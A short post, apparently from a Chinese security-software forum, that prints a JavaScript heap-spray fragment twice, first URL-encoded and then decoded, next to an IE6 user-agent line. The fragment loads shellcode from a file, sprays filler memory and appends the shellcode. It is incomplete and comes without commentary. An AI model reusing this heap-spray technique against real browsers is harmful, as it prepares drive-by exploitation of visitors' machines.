瑞星卡卡安全论坛

var%20shellcode%3Dloader%28%22XX%22%2C%22YY%22%29%3B%0D%0A%09var%20a%3Dnew%20Array%28%29%3B%0D%0A%09var%20ls%3D0x100000-%28shellcode.length*2%29%3B%0D%0A%09var%20b%20%3D%20loader%28%22YY%22%2C%22TT%22%29%3B

用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; 360SE)

var%20a%20%3D%20new%20Array%28%29%3B%0D%0Avar%20xcode%3Dloader%28%22code.txt%22%2C%22MM%22%2C%22NN%22%29*262144%3B%0D%0Avar%20shellcode%3Dloader%28%22code.txt%22%2C%22XX%22%2C%22YY%22%29%3B%0D%0Avar%20ls%20%3D%20xcode-%28shellcode.length*2+0x01020%29%3B%0D%0Avar%20b%20%3D%20loader%28%22code.txt%22%2C%22VV%22%2C%22WW%22%29%3B%0D%0Awhile%28b.length%3Cls%29%0D%0A%7B%0D%0A%09b+%3Db%3B%0D%0A%7D%0D%0Avar%20lh%3Db.substring%280%2Cls/2%29%3B%0D%0Adelete%20b%3B%0D%0Alh%20%3D%20lh%20+%20shellcode%3B

var a = new Array();
var xcode=loader("code.txt","MM","NN")*262144;
var shellcode=loader("code.txt","XX","YY");
var ls = xcode-(shellcode.length*2+0x01020);
var b = loader("code.txt","VV","WW");
while(b.length<ls)
{
b+=b;
}
var lh=b.substring(0,ls/2);
delete b;
lh = lh + shellcode;